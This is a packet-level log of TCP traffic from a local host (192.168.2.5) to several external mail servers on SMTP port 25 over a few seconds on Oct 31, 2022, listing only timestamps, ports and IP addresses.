Oct 31, 2022 12:19:45.519040108 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.519287109 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:45.548897982 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:45.574520111 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.574867964 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:45.628736973 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.632627964 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.633080006 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:45.687493086 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.687731028 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:45.747100115 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.775456905 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.866760015 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:45.867265940 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:45.919451952 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.919698000 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:45.973707914 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.973903894 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:45.974088907 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:45.988275051 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.011240005 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:46.011316061 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:46.012789965 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:46.012871981 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:46.033919096 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042428970 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042455912 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042467117 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042479038 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042535067 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042592049 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042593002 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042615891 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042684078 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042684078 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042769909 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042783022 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042803049 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042815924 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.042820930 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042845011 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042845011 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.042865038 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096470118 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096506119 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096518993 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096643925 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096651077 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096643925 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096677065 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096689939 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096700907 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096721888 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096736908 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096755028 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096766949 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096786976 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096787930 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096786976 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096786976 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096802950 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096818924 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096838951 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.096842051 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096853971 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096868038 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096880913 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096892118 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.096899986 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150755882 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150793076 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150804043 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150818110 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150844097 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150855064 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150861979 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150867939 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150949001 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150962114 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150969028 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150979996 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150986910 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.150994062 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.151001930 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.151007891 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.151015043 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.151026011 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.154148102 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.154170990 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.154262066 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.154345036 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.184128046 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.217160940 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.217242956 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.259099960 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.259345055 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.292427063 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.302949905 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.303358078 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.345201969 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.348037958 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.348285913 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.386550903 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.458690882 CET	49816	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:19:46.512866974 CET	25	49816	142.250.150.26	192.168.2.5
Oct 31, 2022 12:19:46.539664030 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.551028967 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.583795071 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.592422009 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.592597008 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.593758106 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.626621008 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.626674891 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.626696110 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.626718044 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.626739979 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.626986027 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.631004095 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.631120920 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.659941912 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.659982920 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660006046 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660029888 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660173893 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.660175085 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.660252094 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660278082 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660300016 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660326004 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660339117 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.660339117 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.660341978 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660356998 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660373926 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660389900 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660413027 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.660413980 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660521030 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660547018 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660562038 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.660586119 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.663749933 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.663839102 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693104029 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693157911 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693190098 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693218946 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693250895 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693280935 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693315029 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693344116 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693373919 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693403959 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693437099 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693465948 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693495989 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693525076 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693557978 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693591118 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693623066 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.693654060 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.705142021 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.705172062 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.705317020 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.705403090 CET	49817	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:46.738522053 CET	25	49817	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:46.739362001 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:46.773083925 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:46.773307085 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:46.810450077 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:46.810789108 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:46.844465017 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:46.847901106 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:46.848190069 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:46.885562897 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:46.887212038 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:46.925987005 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.074661970 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.074959993 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.108807087 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.109163046 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.113086939 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.114928007 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.148636103 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.148677111 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.148693085 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.148710012 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.148725033 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.148793936 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.148793936 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.148885012 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.153816938 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.153922081 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182367086 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182413101 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182439089 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182463884 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182480097 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182490110 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182543039 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182543039 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182617903 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182641029 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182667971 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182693958 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182698011 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182714939 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182717085 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182734966 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182742119 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182765007 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.182766914 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182791948 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182817936 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182842970 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.182868958 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.187583923 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.187623024 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216254950 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216334105 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216368914 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216413021 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216444016 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216474056 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216505051 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216578007 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216607094 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216635942 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216666937 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216696978 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216733932 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216814995 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216847897 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216876984 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216906071 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.216934919 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.220350027 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.220388889 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:47.220494032 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.220566988 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.521351099 CET	49818	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:47.555181026 CET	25	49818	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:48.724423885 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:48.750580072 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:48.770210028 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:48.804838896 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:48.804965019 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:48.823122978 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:48.847172022 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:48.847402096 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:48.880681038 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:48.891477108 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:48.891700029 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:48.894443035 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:48.894566059 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:48.930560112 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:48.933378935 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:48.943387032 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:48.982497931 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.000171900 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.000319004 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:49.041207075 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:49.041390896 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:49.047734976 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:49.047908068 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:49.138010025 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.138267040 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.171694994 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.179894924 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.183162928 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.184003115 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.184741974 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:49.185856104 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.193316936 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:49.197866917 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:49.219137907 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.219193935 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.219229937 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.219286919 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.219347000 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.219407082 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.219449997 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.219490051 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.224641085 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.224771976 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.252722979 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.252760887 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.252963066 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.253247976 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253268957 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253287077 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253305912 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253326893 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253345013 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253362894 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253381014 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253397942 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253413916 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253431082 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253448963 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253465891 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253484011 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253499985 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253516912 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.253566980 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:49.258980989 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.259011984 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286273003 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286454916 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286490917 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286524057 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286643028 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286758900 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286802053 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.286855936 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287000895 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287034988 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287065983 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287096977 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287127018 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287156105 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287187099 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287216902 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287246943 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.287275076 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:49.342500925 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:49.342722893 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:49.346271992 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:49.346393108 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:49.358381033 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.358429909 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.358613014 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:49.529583931 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:49.533272028 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.533480883 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:49.540477991 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:49.540738106 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:49.707288980 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.707412958 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:49.857410908 CET	25	49819	142.250.157.26	192.168.2.5
